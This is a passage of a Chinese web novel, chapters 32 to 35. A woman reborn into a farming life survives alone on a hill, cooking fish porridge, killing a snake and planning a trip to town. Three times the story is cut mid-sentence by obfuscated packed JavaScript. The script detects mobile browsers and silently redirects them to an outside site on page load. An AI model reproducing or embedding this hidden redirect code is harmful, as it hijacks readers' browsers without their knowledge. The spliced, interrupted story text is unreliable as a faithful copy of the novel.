黄迎春不舍得倒盐,就把泡过干虾仁的水倒了进去。 菠菜、豌豆荚、苋菜等各色菜蔬以及新鲜的菌菇焯水的时间各不相同,黄迎春估了个差不多的时间,把它们用筷子都捞进碗里。 然后,把沥干水的虾仁倒进已经爆炒出葱蒜香味的油锅。 虾仁炒到微微焦透时,黄迎春把冒尖的碗往下一倒,把菜炒至断生,之后,加入盐和虾粉调味,最后简单翻炒两下盛到碗里。 黄迎春没有额外做饭,一碗压都压不住的虾仁什锦就是她的朝食。 她一筷接一筷地往嘴里塞,渐渐越吃越慢,越嚼越碎。 碗里的菜蔬丰富多彩,虾仁可口弹牙,黄迎春低着头,看着看着,又夹了一筷菜放在嘴里,慢条斯理地品尝着她的付出、耕耘与收获。 洗碗的时候,手上的伤口沾了水和无患子的泡沫,惹得黄迎春又想流泪。 她嘶牙咧嘴一番,把洗干净的碗筷放在锃亮的铁锅里,出门去烧草木灰了。 再多干一些活吧。 饭一口口吃,路一步步走,总能走熟摸清的。 别怕。 也不要再哭了。 我会活下来的。 32.生滚鱼片粥 安朝没有现代社会的光污染,这里的天空,一到天气晴朗的夏夜,抬头便是灿烂的星海。 群星璀璨,星罗棋布,坐在院子里一边按肩一边仰头的黄迎春却一点儿也不在意,她满心满眼只有高悬在夜空中的一轮明月。 月华如水,月光的清辉洒进前院,为忙碌不已的黄迎春无私地照亮一方天地。 手上有伤,不耽误黄迎春马不停蹄地从日出忙到日落,吃过夕食后,再从日落忙到深夜。 为了第二天有力气劳作,黄迎春脱鞋上炕的时辰向来有定数。 自然,其中也有她夜间没有照明工具的缘故。 蜡烛,黄迎春是买不起的。 安朝的蜡烛,材质主要是蜂蜡,而蜂蜡来自蜂巢,蜂巢数量有限并且取之不易,所以黄蜡的价格向来高昂。 黄迎春在永安城逛街时,曾在香烛行里见过一种白色的蜡烛,不管是形状、颜色还是质地,和她在现代看到的蜡烛都很相似,几乎可以说得上是一模一样——直到内心充满激动的黄迎春开口问了价钱。 上百文的价钱一入耳,黄迎春“他乡遇故知”的喜悦之情瞬间消失,她那颗躁动不已的心脏也瞬间淡定下来了。 现代?这是安朝! 上辈子?那都是过去的事情了。 白蜡?这明明是用乌桕子做出来的桕蜡。 黄迎春将她买不起的蜡烛看了又看,这回,任由它的样子与记忆中的蜡烛再有几分相符,黄迎春也能笃定地在心里反驳:“不,它们不一样。” 现代五毛钱一根的蜡烛,在安朝,竟然要卖二百文! 每回在心里做这样的换算,黄迎春都难掩心酸——怎么别人穿越都有金手指呢?如果她也有一个能穿越位面的超市,那该多好啊!五毛钱一根的蜡烛,她屯上几大箱,就是在安朝折价卖,也能把自己变成一个快乐的小富婆。唉,说来说去,还是她投胎的技术不行。上辈子没能有对开香烛店的父母,这辈子农家开局,既无奇遇傍身,又没天命指示,还命运多舛,两辈子,全都不是大富大贵的命。 那上天让我带着记忆投胎到安朝的意义是什么? 黄迎春出生的第一年,一直在思考这个问题。 初生的她,身体是个实打实的婴孩。 爹娘爷奶没空带她,成天不是让她自己一个人在竹篮里躺着,就是把她用布条绑了让她在后背上趴着。 黄迎春无所事事,只能睁着一双眼睛默默观察这个世界,并随时随地地在自己的大脑中进行思考与发问。 黄迎春想的最多的一个问题是:这辈子,我要怎么活? 没等黄迎春想明白,她这辈子的娘又揣了一个崽。 娘怀孕了,自然不能再背她,于是黄迎春又被放到竹篮里。 然而,黄迎春已经看过外面的世界,自然不满足于成天待在一间低矮破败的土屋里,于是她早早学会爬,接着又在磕磕碰碰中学会走路。 黄迎春当时不知道,黄家人默认孩子会走路就会干活。 她后来无数次想,如果她早知道这回事,哪怕被人误会成一个发育不良的傻子,她也一定要在竹篮里再躺上个一年半载的。 总之,黄迎春学会走路之后,她的苦日子就开始了。 黄迎春再也没有闲心去思考她这辈子要怎么活,因为她的人生怎么活,她说了不算,在这个孝道大过天的世道,任何一个辈分比她高的黄家人都能对她指手画脚,给她指派活计。 黄迎春不再思考她要怎么活她的第二辈子,她只想要自由。 后来,黄迎春终于得偿所愿。 然后,一个陌生又熟悉的问题再度缠上她,让她寝食不安——自由了,能自己做自己人生的主了,现在呢?以后要怎么活? 在杏林医馆治病的那些日子,黄迎春也算看尽了人间百态,她终于可以给出答案。 “我要吃饱,穿暖,自由、有尊严地活着,活每一天。” 最后一次踏出医馆大门时,她在心底暗暗立誓。 所以,顶着监工和脚夫不理解的目光,黄迎春兴高采烈地在荒山脚下安了家。 三个多月过去,黄迎春只恨自己当初立誓时没在“自由”二字前加上一句“富有”。 财富自由,才是真正的自由啊! 黄迎春曾经质疑过这句话,这辈子,她从未对这句话的真实性产生动摇。 “人一辈子,缺什么都不能缺钱哪。”活了两辈子的黄迎春在月亮下叹气。 她上辈子虽然因工猝死,但好歹也是死在明亮刺眼的四十瓦日光灯管下。 谁能想到呢? 这辈子她连一根蜡烛、一个油灯都买不起,想在夜里干点活,还得借着月光加班。 而且,这月光还不常有,一个月只有一次满月,只有满月那天以及前后几天夜晚的月光才够亮,才能给她提供有效的照明。 黄迎春一边给鱼篓收尾,一边自言自语:“不行,有空还得去松树林搞点松明回来,不然到了冬天怎么办呢?” 黄迎春烦恼的事情不止这一件,拥有一架夏秋时节睡的竹床对黄迎春来说是一件刻不容缓的事情。 黄迎春会做竹床,那是她小时候和她重男轻女的爹学的。 她和二妹挤在两块木板上睡了不知多少年,爹一眼都看不见,黄家金贵的第三代男丁一出生,她爹就着急忙慌地上山伐竹,向木匠借了工具,又朝爷奶讨来桐油,给她弟弟打了一架崭新的竹床。 黄迎春在旁边打下手,一边看一边学,后来趁着工具还没被爹还给木匠,自己也上手打了一架竹床。 二妹向来会躲懒,那时候不知道怎么回事,竟也争着来帮忙。 黄迎春先前还疑心她的用意,后来才知道二妹是想让她也给她打一架。 女儿再疼爱,也比不上儿子。 二妹知道她是无法让爹专给她打一架竹床的,便把主意打到了她身上。 黄迎春还记得二妹当时一边给她抬竹子一边笑着说:“没有自己的屋子,有一架自己的床也很好。” 只是二妹忘了,她们姐妹俩睡的屋子很小,放不下第二张床。 竹床还没彻底做好,木匠便上门来讨工具。 村里的木匠也是农夫,只有农闲时才往外寻活计,有了订单就要赶紧给人家做,一点儿时辰都误不得。 二妹哭着求着,木匠还是把工具拿走了。 后来,黄迎春磕磕绊绊地把那架竹床打好,想请二妹弃了木板和她一起把竹床搬进屋里睡时,二妹不肯帮忙,反而还在屋里摔摔打打地甩脸子:“不就一架竹子做的破床吗?有什么好的,连油都没漆,睡不了两年就得被虫蛀,哪天睡着睡着摔断腿了都不知道!” 二妹大声吵嚷的声音惊醒了安然睡在大竹床上的弟弟,挑起了爹娘爷奶的火气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947781|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黄迎春不记得那场风波后来是怎么平息的了,她在黄家最后的记忆,只有那架她千辛万苦打的竹床,被埋在寒冷的雪下,她怎么拔也拔不出来,也没人过来帮她拔。 “不能再遇上那种事。”黄迎春放下编好的鱼篓,走进卧房,把埋在包袱底下的铜钱串拿出来,一边数一边想道。 去镇上添置物品,是势在必行。 黄迎春虽然不知道买齐打竹床用的工具要花多少钱,但用脚趾头想也知道,凡是粘上铁的东西,价钱一律低不了。 一千个铜板全出去也未必够花,况且也不能一点儿老底都不留。 黄迎春数了又数,分了又分,想了又想,犹豫了再犹豫,最后还是决定带走六百五十文。 六百文用原来串钱的细绳接着串着,绳口牢牢地绑紧。 另外五十文被黄迎春先放在一边,待要去镇上的那一天,揣在怀里方便随时取用。 “还是不够啊。”黄迎春掂着铜板的份量,轻轻地叹了一声。 一枚枚铜板堆起沉重的山,黄迎春望着它们,却看不到它们即将能给她置办来一些什么物品。 黄迎春洗过手,躺在炕上翻来覆去地烙饼,在心里一笔笔地念着要带去镇上卖钱的东西,怎么想都觉得她攒的那些山货换不了多少钱。 心里存着事的黄迎春在满月天忙到深夜,又在炕上躺了许久才闭眼,第二天依然早早便起了。 她挑着木桶赶去河边,在河里下了一网又一网。 捕鱼去卖,是黄迎春想到的唯一一种能尽量添补家用的方法。 乡下人家,只要靠水,自然是不缺鱼吃的。 而住在镇上的人家,虽然没空也没地捕鱼,但他们的营生比乡下人家要赚钱许多,在吃肉的频率上也比乡下人家高出许多。 他们想吃鱼,只能花钱买。 黄迎春打的便是这个主意。 在镇上先卖鱼,再拿卖鱼的钱去买东西,若是运气好,兴许还能给自己剩几个铜板。 不过,凡是掺了钱的买卖,买家都有挑货和喊价的资格。 临安镇河湖多,船夫撑着小船在河湖中央随便撒个网,捞上来都不知道有多少条鱼,数量多也就罢了,新鲜度也不是住在荒郊野外的黄迎春送到镇上的鱼可以比拟的。 临安镇上有许多家鱼行,街上和桥边也从来不缺卖鱼的渔夫。 黄迎春没有优势,所以她已经想好了——打骨折卖,只要给钱就卖! “鱼是不值钱的!” 拼命给自己洗脑这句话的后果就是黄迎春今天早上在给自己做朝食时,一不小心把整条草鱼都给切了。 “……” 切都切了,还能怎么办呢? 迫不得已,黄迎春给自己做了一锅鱼片比米多的鱼片粥。 去了刺的鱼肉,用刀片得薄薄的,放入油、盐、蒜末、葱碎等调味料拌匀,再铺在碗底,放上姜丝。 热粥煮好后,直接从锅里盛出来淋上去,鱼片三五息功夫便可烫熟,再撒上一些紫苏叶切成的细丝,用筷子稍微搅弄几下,一碗生滚鱼片粥就能开吃啦。 刚从河里捞起来的草鱼只有一个字——鲜! 鱼片鲜嫩细腻,一点儿腥味也没有。 趁热吃上几口,整副肚肠都暖了。 “真好吃啊。” 黄迎春端着滚汤的碗,吃得眉眼弯弯。 33.烤蛇段 田家少闲月,五月人倍忙。 自从黄迎春存了要去镇上买卖一番的心思,她愈发觉得时间紧张。 俗话说:春生,夏长,秋收,冬藏。 夏季正是各类作物旺盛生长的时节,稻田、豆田、药田、菜地……各处都少不了浇水施肥。 昼长夜短的夏天,长得快的不止作物,地里的野草三两天不除,便能蹿得半人多高。 野草的根茎牢牢地扎在地里,根长的,须多的,但凡占一样,哪怕黄迎春使再大的力气也无法一次性拔出。 有些可恶的,紧紧地贴着她的粮食长着,黄迎春又不能用锄头去刨,只能徒手锄草,累得满手都是红痕不说,深埋在地里的断裂草根,只要经过一场雨,没几天便可卷土重来。 锄草虽然累人,但好歹是看得见的活计,只要勤快些,仍在黄迎春的可控范围内。 地里的害虫可就不一样了,它们不仅数量繁多,还十分善于躲藏。 螟虫的幼虫仗着体型微小,能轻松钻进稻苗啃食根茎,把即将拔节孕穗的稻苗变成枯心苗,一点点地蚕食黄迎春生存的希望。 要说黄迎春最讨厌的害虫,非稻苞虫莫属。 稻苞虫顾名思义,是一种可以吐丝缀叶成苞的害虫。 它吐出的丝,会把稻叶粘连在一起,让水稻无法开花结实,或使稻穗卷曲,无法抽出。 稻叶被丝缀连在一起后,稻苞虫就会躲在它给自己打造出的“粮仓”里,尽情地啃食叶片,直到把稻叶全部吃完。 被稻苞虫祸害过的稻苗,往往无法成功抽穗,纵有运气好的,长到收获时节的稻谷也是带病的更多。 稻苞虫的幼虫最喜欢啃食稻苗,最近正是稻苞虫在稻田里产卵的高峰期,黄迎春不得不早做防治。 稻苞虫的卵产得散乱,不过根据黄迎春幼时的经验,还是在稻叶的叶背近中脉处分布得较为集中,所以,她天天埋头在浓绿的稻田里又捏又摘,拼命地杀虫苞。 但是虫苞实在是太多了,昨天刚除过的稻苗,可能第二天就又缀了新的幼虫虫卵,黄迎春天天在地里忙啊忙,仿佛在打一场没有尽头的战役。 抬眼,是一片充满盎然生机、郁郁葱葱的稻田。 低头,是无数只附着在绿叶上的虫卵、幼虫和虫苞。 什么环保,什么粮食安全,身心俱疲的黄迎春通通不在意,她只想要农药,一劳永逸、能把所有害虫都杀死的农药。 黄迎春没有农药,她也没有能吃螟虫、蝗蝻、飞虱的雏鸭。她没钱买灭虫的石灰,也用不起熏烟和拌种的雄黄。 黄迎春只有勤劳。 她勤劳地拿着锄头清除田边的杂草,从源头打击害虫的滋生。 她勤劳地在夜里架起火堆,利用成虫的趋光性来诱捕、灭杀害虫。 她勤劳地扒开一株又一株稻苗,采卵块,打虫苞,灭稻蝽。 勤劳不能保证黄迎春活过这一年,但这是她唯一能做的事情。 枯燥、烦琐、没有尽头的劳作没有让黄迎春麻木,她一直在思考更有效率的除虫方式。 用指腹和指甲除虫的速度太慢了,黄迎春依稀记得小时候她曾用过一种长得很像梳子的工具,把它拿在手里沿着附着幼虫的稻叶轻轻一梳,虫苞就会分离,四散而落,里面的稻苞虫被太阳一晒,没多久便自然消亡。 山里多得是有年份的竹子,用粗壮的竹子做一把能杀虫苞的竹梳并不难,难的是黄迎春没有锯子。 做竹床需要锯子,做竹梳也需要锯子,黄迎春迫切地需要工具,这关乎她的生存。 她必须得去一趟镇上。 黄迎春下了决心。 要快,要早去早回。 如果可以,黄迎春希望她只花一天时间,但最终她还是给自己挤出了两天的空隙。 黄迎春还记得从镇上回来的路,搭船、坐车又走路,足足花了她大半天的时间。 不过,那时是因为她扛着全副家当,路上的脚程慢,再加上她是第一次来荒山,监工一路上都在教她记路,走走停停的,也耽误了不少时间。 这回她一人去一人回,轻装简行,应当可以更快些。 若是搭船时不用等,在镇上买卖也顺利,也许她可以当天来回。 黄迎春原本是这样预想的,直到今天上午,她扛着锄头沿着去镇上的方向给道路清草时,眼睁睁地看着一条粗壮的菜花蛇从茂盛的草丛里游出。 夏初的上午,阳光温暖明亮。 白天活动的蛇类往往会在这个时候出没,它们在草堆里游来游去,或是晒太阳,或是捕食,过得十分惬意。 而我又做错了什么呢? 黄迎春问自己。 这座山是她花了三十贯买的,在衙门里落了契,她每年还要因此再缴纳几百文的山税,她在自己的地盘里清草,碍着谁了呢? 说不清是谁闯了谁的地盘,总之,当时那条身躯大得惊人的菜花蛇与黄迎春的直线距离,不超过两米。 说时迟那时快,黄迎春举起锄头,眼疾手快,重重地用精铁铸成的锄刃打住蛇的七寸,又抄起一旁的石头连续击打,直到蛇身渐渐停止动弹。 菜花蛇是百蛇之王,它会捕杀蛇鼠,所以有些胆大的人家会在家里养菜花蛇除害。 黄迎春听过菜花蛇的别称——安家蛇,但她在黄家村里也没见过谁家养的安家蛇是这么大条的,都快比扁担还要粗了。 黄迎春不敢掉以轻心,蛇生命力顽强,黄迎春上辈子有在家务农捕蛇的爷爷,这辈子有丰富的十五年花草司从业经验,和蛇打了多年的交道,知道这种家伙最擅长假死。 蛇是很聪明的动物,它性情勇猛,而且格外记仇。民间有句谚语:打蛇不死,反受其害,讲的便是这个道理。如果抓了蛇,没有立刻将它斩首,留有一线生机,那蛇就会伺机而动,暴起伤人。 黄迎春在花草司里见到别人除蛇,分明已经将蛇头一刀剁掉,细长卷曲的蛇身都已经摊在地上不动,那只只有她大拇指粗细的蛇头还亮着眼睛,在一个太监过来收拾残局时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950384|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然从地上跳起来,狠狠地咬上太监裸露出来的手背。 这种奇事,若不是黄迎春亲眼所见,她绝不相信。 然而被一刀剁断的蛇头都能暴起伤人,遑论被称为大王蛇的菜花蛇呢? 黄迎春死死地压着菜花蛇的七寸,瞄准蛇头和蛇身的脊柱中段,用石头猛击,数不清打了多少下,直到蛇的七寸被她打得看不出原样,总想抽她的蛇尾久久不动,这才忽然张开嘴拼命喘息,又因体力不支向后跌坐到地上。 因为不放心,黄迎春还特意用锄头砍断了蛇头。 此时,望着那块黑黄相间的肉泥,黄迎春内心深处缓缓生起一股逃出生天的惧喜。 菜花蛇以花纹黑黄相间类似油菜花而得名,因为黄迎春认出这条蛇是菜花蛇,而菜花蛇不是毒蛇,所以她才敢抡起锄头和它干架。 但是,俗话说得好——一里有菜花,十里无毒蛇。 这只菜花蛇的个头是她前世今生上下两辈子加起来都从未见过的大个头,黄迎春难以想象这条菜花蛇吃了多少条蛇才能长成这么庞大的身躯。 太吓人了! 大热的天里,黄迎春在地里挥汗如雨,缠在手上的布条换了一茬又一茬,仍然无法摆脱被汗水打湿的命运,然而,此刻,黄迎春却不由自主地发着抖,浑身冒出冷汗。 不行,我绝对不能走夜路。 花钱就花钱,我要在镇上住一夜客栈再回家! 要是深更半夜的,从草丛里再蹿出这么一条蛇来,那…… 画面太美,黄迎春不敢接着想下去。 缓过神后,黄迎春就地挖了一个深坑,燃起一个火堆,先把蛇血用草木灰吸附干净,再将它与蛇头一起掩埋在地里,另插上三根树枝作为标记。 然后呢? 黄迎春盯上蛇身。 菜花蛇没有毒,它的肉是可以吃的。 但是这么大只的菜花蛇……能吃的肉就更多啦! 黄迎春动作利落地放血、剥皮、去除内脏,然后斩下一段蛇肉串在竹枝上,放在火堆上慢烤,时而翻面,时而撒盐,吃了一顿风味十足的烤蛇段。 蛇肉性躁,夏季炎热,应当少吃。 虽然味美,但黄迎春还是艰难地舍弃了再烤一段蛇肉来抚慰她受惊的小心脏的想法。 收拾蛇骨时,黄迎春转念一想,开始琢磨起蛇肉保鲜和运输的法子。 鱼肉价贱,蛇肉呢? 蛇肉也能卖吧? 应该会比鱼肉卖得贵。 等等,还有蛇皮呢! 蛇皮虽然被视为阴物,但制弓弦、做皮革总少不了它,这么粗的蛇皮,虽然被打烂了一部分,应该也能卖上不少钱吧? 蛇胆也能入药,家里已经有一颗晾干的蛇胆,再加上这一颗,添点草药,跑一趟医馆似乎也能赚点? 黄迎春越想越激动,但她被地里的农活困住身体,没办法、也找不到更多的时间去河溪里捉水蛇。 远处柳暗,近处花明,黄迎春却看不见致富之路。 34.咸粥 烈如红霞的火烧云吞噬了排列如鱼鳞斑般整齐的云层。 傍晚时分,青蛙的叫声此起彼伏,响彻耳畔。 夜空中的星月清晰可见,亮闪闪地挂在天上。 一切,都预示着明天是个晴天。 黄迎春头一回夜间没有坐在灶台旁边编织竹蔑,而且还在比平常早了许久的时间躺到炕上。 她强压住从内心深处涌出的兴奋,让自己闭上眼睛早点入睡。 然而,黄迎春自我催眠的效果并不好。 过了不知多长时间,她还是没能睡着。 黄迎春躺在炕上,一会儿在脑海里排演地图,回忆路标,一会儿预设抵达镇上的时间与一路上可能会遇到的意外状况,一会儿担忧她的买卖,一会儿焦虑她的银钱不够使…… 最重要的是,她不可否认,她的心中充满了对明日出行的期待。 黄迎春不擅长人情世故,也厌恶阿谀奉承、溜须拍马那一套。 在宫中因形形色色的人事身心俱疲时,黄迎春总是幻想她出宫后的生活。 那时候的她,未必料到自己如今会一人独居在荒山脚下。 但是,她早已不耐烦和人打交道,恨不得谁都不要来搭理她,只盼着能自己一个人过清清净净的小日子。 大抵人总是这样吧,欲壑难填。 黄迎春实现了之前心心念念的愿望,又开始不满足了。 住在荒山脚下的日子是清净,但没有一点人声,又显得有些清净过头了。 黄迎春已经有好几个月没有和人交谈过了,为了不丧失自己的说话能力,也为了排遣自己的心情,她经常自言自语,说话给自己听。 可是自说自话有什么意思呢? 发现无患子树,无人可以分享她的喜悦;险些被粗壮的菜花蛇吓破胆,也无人知晓她的恐惧。 更多的时候,黄迎春是缄默无言的。 地里的活计太累了,累得她提不起一点儿劲头说话。 忙碌不停的时候,对自己说句歇息的客气话,黄迎春都觉得是在浪费口水。 终于,她要走出这片荒山,短暂地离开没有尽头的农事,去和鲜活热闹的人间打一打交道了。 黄迎春百感交集,既期待又害怕,心脏在漆黑的夜里扑通扑通地一跳又一跳,怎么也睡不着。 明天会遇上什么人呢? 我会和哪些人有交集呢? 带去的货物能卖多少钱?够买一套工具吗? 万一……如果运气好的话,会在路上捡到一只流浪猫吗? 黄迎春每天都会去地窖里检查一遍她的粮食,哪怕她早已放了一陶罐的粮食在厨房里,并不需要每天早上都下地窖去取当天的口粮,但是黄迎春依然坚持这么做。 今年的水稻还没长成,地窖里的粮食等同于黄迎春的命。 对待她赖以生存的口粮,黄迎春表示她怎么谨慎也不为过。 果不其然,前几天,她在扎紧的麻袋上发现了几个不明显的破洞。 虽然黄迎春并没有在地窖里看见老鼠的身影,但她断定那就是老鼠的杰作。 断人粮食,犹如杀人父母。 黄迎春早就想逮只猫放在家里捕鼠,顺带也给独居的自己做个伴。 然而,安朝并不是现代。 在现代,越是人类集群的地方,流浪猫的数量越是猖獗。 若是有爱猫人士想带一只猫回家,他甚至不必征求猫的同意,只要手速够快,不怕接种疫苗就行。 安朝不一样,猫在安朝的地位极高,属于“正统”的宠物。 城镇里的流浪猫极少,大部分的猫都是有主的,它们在家中以捕鼠为趣,甚至还会在主人头上作威作福,比人活得还快乐。 猫长大了,发情了,主人还会为它挑选一个好对象,挑选的标准能从猫的样貌、品性、身体状况一直挑剔到猫主人的品性、家庭人口构成、财产层级等,给家里的宠物猫结一门亲事,其重视程度,不亚于结一门儿女亲家。 猫猫成亲,通常是公猫上门。 生了猫崽,除却两家大人事先说好的,母猫生的所有猫崽的所有权全归母猫的饲主。 至于这门亲事还要不要延续下去,就看母猫下个发情期还能不能看上她的丈夫了。 若是母猫改了主意,家中的主人就会通知他们的“亲家”上门来把被退货的公猫带回家。 公猫被生崽过的母猫“退货”的事情并不少,所以两家猫主人在结亲之前,都会商量好猫崽子的归属。 而猫崽子还没生出来,往往就已经被关系好的亲朋好友预定走。 想在家里养一只猫,向有养猫的亲朋好友讨要一只小猫崽,是时下人家最主要的猫源获得方式。 自然,猫崽子也不是白要的,需要经过一套复杂繁琐的聘猫仪式。 黄迎春在花草司时,见过花一季季地开,人一年年地红,恩宠不在又无儿女傍身的贵人们为了打发寂寞,常常人手一只猫。 黄迎春在宫中听过不少和猫有关的风俗,聘猫的流程是其中非常重要的一种仪式。 首先,要写一封“纳猫契”——选定一个黄道吉日,用特定颜色的纸笔写下对家中新成员的期望,例如恪尽职守、捕鼠护家等,最后还要在末尾表达对原主人的感谢。 送纳猫契时,不能两手空空,要带上送给猫主人和小猫的礼物。 给猫主人的礼物不能是俗气的真金白银,而要送白花花的盐。 这一点,无论是达官显贵还是平民百姓,都是一样的。 因为在安朝的官话里,“盐”与“缘”谐音,给猫主人送盐,寓意与他家和他家的猫有缘。 送给小猫的礼物就简单了,没有猫不爱吃鱼,只要几条用柳枝串起来的小鱼,就能俘获小猫的欢心。 有些财大气粗的人家,为了证明自己将小猫聘回家后会好好相待,还会给猫主人和小猫各带一份糖点心作为礼物。 糖是甜的,一方面寓意与猫主人结为同好,一方面也表示小猫到了新家,每一天的日子都会甜甜蜜蜜。 有心的人家,在送礼时也不会忘了辛苦把小猫生下来的母猫。至于公猫,不好意思,并没有收礼的资格。 黄迎春没有亲朋好友,自然无处聘猫。 她想要猫,只有“引猫”。 无论哪个时空,都有不会好好养猫的人与养不熟的猫。黄迎春在永安城里游荡的那三天,就曾在桥头看到一只流浪猫。 据旁人说,它总是故意打翻家里的吃食,放任老鼠啃咬粮袋,几次三番在与小主人玩耍时动爪挠人,一回,还险些将小主人挠得破了相,主家无奈弃之。 邻近的人家知道这猫的脾性,没有一个人敢拿着食物引诱它,在博取它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964688|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信任后,把它带回家。 引猫,会不会捕鼠是其次,人们更看重猫的性情是否温顺。若是会伤人的猫,捕鼠的本事再大,也没有人敢把它带回家。 黄迎春在桥头买了一块茯苓糕,听着卖糕点的小贩呵呵笑:“好在,这猫也聪明,给自己找了个好去处。桥头天天有人卖鱼,总有人扔点卖不上价的小鱼小虾给它吃,渐渐的,它看上去倒比我还圆润。” 黄迎春期待拥有一只猫,荒山脚下的河里多的是鱼,她没有许多盐,腌不了咸鱼,除了这两天在为去镇上卖鱼做准备,在河里多下了几网,平日里,她只有把木桶装不下的鱼丢回河里的份。 如果能引一只猫来就好了,它在家捕鼠,她去河里给它捞鱼吃。语言不通也没事,她们依然可以互相温暖、彼此陪伴。 想着想着,黄迎春睡着了。 睡着睡着,黄迎春做了一个美梦。 梦里,她真的有了一只猫。 那只猫全身雪白,没有一点儿杂质。 “‘白白’,怎么样?你喜欢吗?”黄迎春蹲在白猫面前,征求它的意见。 白猫没有回答,这是意料之中的事。 画面一转,一片冰天雪地,白猫几乎与白雪融为一体,黄迎春找了许久,才在河边找到它。 “白白,你在做什么?快上来!”黄迎春在河边疯狂朝河中央的白猫伸手召唤。 白猫的眼神充满哀伤,她的爪子碰了碰自己的肚子,又踩了踩脚下厚重的冰层。 黄迎春后知后觉,猫是饿了。 “等一会儿,我回家拿鹤嘴锄,把冰凿开,你就能吃到鱼了。先上岸好不好?河面上太危险了。”黄迎春颤颤巍巍地往白猫走去,在凛冽的风雪中迈了一步,两步,然后,她腿脚一软,忽然摔在了冰面上。 黄迎春透过冰面上的倒影,看到了自己瘦骨嶙峋的面容。 她猛地惊醒过来,在黑暗中喘着粗气,养猫的念头一闪而过,湮灭在迟迟未现的黎明前。 还是先养活自己吧。 黄迎春闭上眼,一点点地数着时间,半醒半睡着,迎来了窗外亮起的天光。 朝食很简单,是一碗用料结实的咸粥。 今日要挑着扁担走许久的路,黄迎春特意多抓了一把米,又从咸鸭蛋里扒出一个颜色像日出的咸蛋黄,用筷子捣碎。 下锅热油后,黄迎春先放姜丝,又下入切丁的菌菇、捣碎的咸蛋黄和切成细丝的咸蛋白慢慢焙炒,等菌菇的水汽渐渐充斥了鲜香的味道,在锅里冒出一个又一个小泡泡,倒开水的时候便到了。 开水煮开后,就成了一锅浓郁的咸蛋黄菌菇高汤,这时,黄迎春倒入泡好的大米,拿着铲子反复搅弄锅里的大米,绝不让一粒宝贵的大米有粘到锅底的可能。 熬出粥水的秘诀就是这会儿先不盖锅盖,在缓缓的搅拌中任由大火煲煮,然后再抽出一根火势最旺的柴火,快出锅时倒入碧绿的菜叶碎,简单地搅弄几下,便几乎融化在热乎的浓粥里。 把菜地里所有待浇的蔬菜都浇过一遍后,咸粥也晾到了能入口的温度。 黄迎春一边喝着美味的咸粥,一边打量她要带去镇上买卖的东西,一顿饭吃得心不在焉。 就要去镇上了,能买到多少东西呢? 碗里的粥被黄迎春吃得干干净净,她一边洗碗,一边自言自语:“希望一切顺利。” 35.生吃莲子 山坡上,豆叶上的水珠在雾气中颤颤巍巍,随着风的吹动,一会儿东翻,一会儿西倒,直到结束灌溉工作的黄迎春挑着两个空桶走去河边,还是没能全部落进地里。 黄迎春在河里取了水,将扁担稳当地压在肩上,一边往家走,一边思索她的安排。 菜地一早浇过了,今天赶去镇上把东西卖完,再寻一间客栈住一晚,明天早上一把东西买完就回来,最迟傍晚前到家,还能赶上再浇一趟,应当没什么大问题。 稻田里的水昨日傍晚就放好了,今早她挑水时又站在田垄上看了一眼,田里的水足够再支撑两天。 现在还不到夏天最炎热的时候,地里前几天刚施过一次肥,哪怕水稻吸收营养的速度再快,她预留的水肥也够它们这两天使的了。 只有除虫,她实在是无能为力。 实在不行,就再拿一百文出来吧,买些鸭苗,趁着水稻还没抽穗,把它们放在水田里,既杀了虫,又填饱了小鸭子的肚子,鸭粪落在稻田里,兴许还能给水稻提些产量。 只是,一百文能买多少只鸭苗呢? 也不能买太小的,刚出生的雏鸭夭折率高,最好还是买些健壮有活力的,一看就神采奕奕,富有生机的。 好的鸭苗,价格自然得再提一等。 黄迎春想了又想,又从包袱里拨出六十文。 永安城里一枚鸡蛋要三文钱,与一枚在卤水里腌制许久的咸鸭蛋同价。 她在临安镇也打听过,这两者的价格在城里和镇上也相差不多。 按理来说,既然鸡蛋的价格比鸭蛋贵,那么母鸡的价格也应当比母鸭贵,然而,事实上,母鸡和母鸭的价格相近,而且母鸭的价格通常会比母鸡贵一点儿。 好生照顾的话,母鸭和母鸡一年间的产蛋量是差不多的。 农家没有多少进项,鸡蛋鸭蛋是重要的一项。 无论男女,只要是大人,一年到头便吃不了几个蛋。 哪怕家里鸡鸭成群,也只有年纪小又受宠的小孩子才能隔三岔五尝一口蛋味。 每日清晨从鸡笼鸭舍里摸出来的好蛋,有的要拿去做种蛋,有的要拿去外出行走做人情往来,更多的则是攒着留着赶集时拿去卖钱,自家吃的情况是极少的。 黄迎春虽然蛋吃得少,但她还在黄家时,几乎每天都能在饭桌上听到祖母念叨今日家里又收了几个蛋。 